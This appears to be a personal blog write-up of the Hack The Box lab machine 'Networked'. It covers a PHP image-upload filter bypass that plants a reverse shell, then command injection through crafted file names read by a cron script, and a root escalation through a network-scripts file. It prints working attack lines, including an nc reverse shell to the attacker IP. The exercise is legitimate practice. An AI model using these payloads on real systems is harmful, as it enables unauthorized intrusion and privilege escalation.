Hack The Box: Networked Write-up (#19)

This is my 19th box out of 42 boxes for OSCP preparation. I am doing my best learning and mastering the key skills for my upcoming OSCP exams by writing this series of blogs. Most of the write-up I get help from watching Ippsec’s YouTube videos and reading Rana Khalil’s write-ups. Please feel free to check them out. So let’s begin.

Reconnaissance

nmap -sC -sV -O -p- -oA nmap/full 10.10.10.146
  • -sC: Default Nmap script
  • -sV: Service/version info
  • -O: Enable OS detection
  • -oA: Output scan results in 3 different formats
  • -p-: Scan all ports from 1–65535

We get the back the following result:

  • Port 22: — Running SSH service, OpenSSH 7.4.
  • Port 80: — Running HTTP service, Apache httpd 2.4.6 ((CentOS) PHP/5.4.16).
Nmap scan report for ip-10-10-10-146.ap-southeast-1.compute.internal (10.10.10.146)
Host is up (0.011s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp closed https
...

Only 2 ports are open. For UDP scan, I scanned for top100 ports with “ — top-ports” flag because I already rooted this box while full UDP scan was still running.

nmap -sU -O --top-ports=100 -oA nmap/udp-top100 10.10.10.146
  • -sU: UDP scan

We get back the following results.

Nmap scan report for ip-10-10-10-146.ap-southeast-1.compute.internal (10.10.10.146)
Host is up (0.011s latency).
All 100 scanned ports on ip-10-10-10-146.ap-southeast-1.compute.internal (10.10.10.146) are filtered
Too many fingerprints match this host to give specific OS details
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Sep 4 22:12:21 2020 -- 1 IP address (1 host up) scanned in 106.04 seconds

No ports are open. Before we begin, let’s do quick mental notes.

  1. OpenSSH 7.4 does not have common vulnerabilities. So we don’t spend time on enumeration here.
  2. Port 80 likely our initial foothold to get into the target. We might need to brute force the directories and find version info of running web application.

Service Enumeration

Port 80 (HTTP Web Service)

Nothing here. Similarly, check the source page.

Nothing interesting here other than the comment which stated: “upload and gallery not yet linked”. Meaning there is a script to upload a file and display gallery. We’ll find out.

Let’s run gobuster to brute force directories.

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.146/ -x php -t 50 -o gobuster.txt
  • -u: Target URL.
  • -w: Wordlist.
  • -x: File extension to search for.
  • -t: Number of threads.
  • -o: Output into a file

We get back the following results.

...
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.146/
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2020/09/05 02:51:43 Starting gobuster
===============================================================
/uploads (Status: 301)
/photos.php (Status: 200)
/upload.php (Status: 200)
/index.php (Status: 200)
/lib.php (Status: 200)
/backup (Status: 301)
===============================================================
2020/09/05 02:54:28 Finished
===============================================================

After visiting each of the above paths, /upload.php, /photos.php and /backup paths gave me some hints. /photos.php shows .png image file in the page.

visiting /upload.php give us the option to upload a file.

Let’s try to upload an image of type .png. I have download a simple insta.png image. Let’s upload it.

I received an error as below.

Not sure what type of image file will be valid. Next visit /backup/.

We have a backup.tar file with date 09 Jul, 2019. Take note of that. Let’s download the backup file to our Kali Linux.

Once downloaded, decompress the file.

root@kali:/htb/Networked# tar -xvf backup.tar 
index.php
lib.php
photos.php
upload.php

We have the source code of the page. Let’s analyse it. First, grep for the error message that received when uploaded an image file.

root@kali:/htb/Networked# grep -iR 'Invalid' *
Binary file backup.tar matches
upload.php: echo '<pre>Invalid image file.</pre>';
upload.php: echo "<p>Invalid image file</p>";

We have 2 same error messages from the upload.php file. After analysed the code, one part of the code returned an error when file type and file size do not meet the conditions.

if( isset($_POST['submit']) ) {
if (!empty($_FILES["myFile"])) {
$myFile = $_FILES["myFile"];
if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
echo '<pre>Invalid image file.</pre>';
displayform();
}

The second part of the code returned an error when the file extension is not from the valid list.

list ($foo,$ext) = getnameUpload($myFile["name"]);
$validext = array('.jpg', '.png', '.gif', '.jpeg');
$valid = false;
foreach ($validext as $vext) {
if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
$valid = true;
}
}
if (!($valid)) {
echo "<p>Invalid image file</p>";
displayform();
exit;
}

Another section of code we need check is check_file_type() function. Because in the upload.php file, this function is used to check the file type but the function is not defined here. Let’s grep for it to find the source file.

root@kali:/htb/Networked# grep -iR 'check_file_type' *
Binary file backup.tar matches
lib.php:function check_file_type($file) {
upload.php: if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {

It’s from lib.php file. After checking the portion of the code, it checks the mime type with image/ in it by calling file_mime_type() function.

function check_file_type($file) {
$mime_type = file_mime_type($file);
if (strpos($mime_type, 'image/') === 0) {
return true;
} else {
return false;
}
}

Let’s check the file_mime_type() function.

function file_mime_type($file) {
$regexp = '/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/';
if (function_exists('finfo_file')) {
$finfo = finfo_open(FILEINFO_MIME);
if (is_resource($finfo)) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system
{
$mime = @finfo_file($finfo, $file['tmp_name']);
finfo_close($finfo);
if (is_string($mime) && preg_match($regexp, $mime, $matches)) {
$file_type = $matches[1];
return $file_type;
}
}
}

While trying to understand the mime type, I come across this site that gives an idea of how mime image/ type works.

To test this, let’s test the above code in the PHP console. First, create a file with any of the signature above. In my case, I used a GIF signature to create a test.txt file. We can confirm the type if a GIF with the following command.

It is. Now from PHP console, we copy and paste the 2 lines of code and confirm the mime type.

So now we understand how are these file mime type and extension checking being perfomed.

Let’s test this and observe in Burp proxy. I have prepared a test file shelltest.php with PHP code as below.

<? phpinfo() ?>

Upload the file and intercept with Burp proxy. Then send it to the repeater.

When I send the request from the repeater, I received “Invalid image file” error. If I append .gif extension to my file and prepend “GIF87a;” (mime file format refer to earlier screenshot above) before my PHP code, I received a different message.

The file uploaded successfully. Now we go back to /photo.php to see if the file is there.

We can see the file here but it is named with our IP. Let’s right-click the file and click view image info.

Yes! The code gets executed. Let’s turn this into a reverse shell.

Exploitation

root@kali:/htb/Networked# cp /usr/share/webshells/php/php-reverse-shell.php .
root@kali:/htb/Networked# mv php-reverse-shell.php reverse.php

Edit the file and change IP address and port number to your Kali Linux.

<?phpset_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.31'; // CHANGE THIS
$port = 53; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
...

Set a Netcat listener in your Kali Linux.

root@kali:/htb/Networked# nc -nlvp 53
listening on [any] 53 ...

Upload the reverse.php file and intercept it with Burp proxy. Add .gif file extension to your file name and prepend the GIF87a; to your code.

After that, forward the request. Go back to the browser and you will see “File uploaded, refresh gallery”.

Go to /photo.php and you will see the page is loading. Let’s check the listener.

We have a reverse shell connected as apache. Let’s upgrade the shell to a fully interactive shell.

python -c 'import pty;pty.spawn("/bin/bash")'

Then press CTRL+Z in your keyboard. After that type the following command.

stty raw -echo;fg

And press Enter key twice. Next, we set the env variable TERM to xterm that helps to clear the screen with the following command.

export TERM=xterm

Press enter. Let’s move to post-enumeration.

Post-Exploitation Enumeration

bash-4.2find / -name user.txt -type f 2>/dev/null 
/home/guly/user.txt
bash-4.2$ ls -l /home/guly/user.txt
-r--------. 1 guly guly 33 Oct 30 2018 /home/guly/user.txt

We don’t permission to read the file. We need to escalate privilege to Guly. Let’s download and run the lse.sh enumeration script to find possible ways to escalate to Guly.

In your Kali Linux, set a python web server.

root@kali:/opt# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

From the target machine, download lse.sh using curl command (target machine don’t have wget command).

curl http://10.10.14.31/linux-smart-enumeration/lse.sh -o lse.sh

Run the script.

bash lse.sh -l 1 -i
  • -l: Level of details
  • -i: Non-interactive mode

After reviewing the long output from the script, we noticed the following files under Guly’s home directory.

Let’s check the contents of crontab.guly.

bash-4.2$ cat crontab.guly 
*/3 * * * * php /home/guly/check_attack.php

This file executing check_attack.php script for every 3 minutes. We don’t have permission to edit this file but we have read permission. Let’s check the contents of check_attack.php.

bash-4.2$ cat check_attack.php 
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";
$files = array();
$files = preg_grep('/^([^.])/', scandir($path));
foreach ($files as $key => $value) {
$msg='';
if ($value == 'index.html') {
continue;
}
#echo "-------------\n";
#print "check: $value\n";
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);
if (!($check[0])) {
echo "attack!\n";
# todo: attach file
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$value\n";
mail($to, $msg, $msg, $headers, "-F$value");
}
}
?>

After I spent some time to understand this code, It checks the file name and extension uploaded to /var/www/html/uploads/ directory. The file name is in this <IP+extention> format. It split the filename into 2 and check the first part (check[0]) which is an IP address. If the IP is not the one it intended to see it will execute the exec() function which is a system function. The interesting part is the below code.

...
$path = '/var/www/html/uploads/';
...
$files = array();
$files = preg_grep('/^([^.])/', scandir($path));
foreach ($files as $key => $value) {
$msg='';
if ($value == 'index.html') {
continue;
}
...
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
...

We have control over $value parameter, a file name. Since no input validation is being done, we can create a file name with ‘;’ (semicolon) then exec() function will execute the command after the ‘;’. For example:

$value = ;touch privesc;.php
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

In this case, the command will be executed is ‘touch privesc’ which will creates a file name privesc. Let’s test this out. Create a file as below.

touch -- ';touch privesc;.php'
  • — : To let the touch command knows there is no more argument, we just want to create anything we want.

Next wait for the cronjob to run. We should see this privesc file created under /home/guly/ directory after 3 minutes.

Nice! It created the file and the owner of the file is Guly. Let’s turn this into privilege escalation to Guly with a reverse shell.

#1 Privilege Escalation

touch -- ';nc 10.10.14.31 53 -c bash;.php'

In your Kali Linux, set a Netcat listener.

root@kali:/htb/Networked# nc -nlvp 53
listening on [any] 53 ...

Wait for the job to run.

We get a reverse shell as Guly! Again upgrade the shell to fully interactive shell as we did above. Grab the user flag.

Let’s check the sudo privilege of Guly.

Guly can execute changename.sh script as root. Let’s check the contents.

#!/bin/bash -p                                           
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF
regexp="^[a-zA-Z0-9_\ /-]+$"
for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
echo "interface $var:"
read x
while [[ ! $x =~ $regexp ]]; do
echo "wrong input, try again"
echo "interface $var:"
read x
done
echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
/sbin/ifup guly0

So, it creates a network interface /etc/sysconfig/network-scripts/ifcfg-guly with user inputs that assign to $x variable and later assign to $var. Let’s run the script and see what it does.

It takes four inputs and assigned to the 4 variables. While trying to understand how is this network-script works and how to execute code through it, I come across this page seclists.org. That explains code execution vulnerability when you have white/blank space in the NAME variable, the system tries to execute the part after the white/blank space. Which means everything after the first blank space is executed as root. In this case, this script receiving user input. If we pass the input with space and follow by a system command it should be executed. Let’s test it out.

We can see the system commands get executed and we have the outputs. It seems like all 4 variables vulnerable to code execution. Let’s turn this into a root shell by proving an input with space follows by bash command.

We are rooted! Grab the root flag.

Attack Strategy Map

Thank you for reading :-) Next box is Jarvis.

I am a security enthusiast. Learning new things every day for a joy. I love ethical hacking. I am deeply loved by God.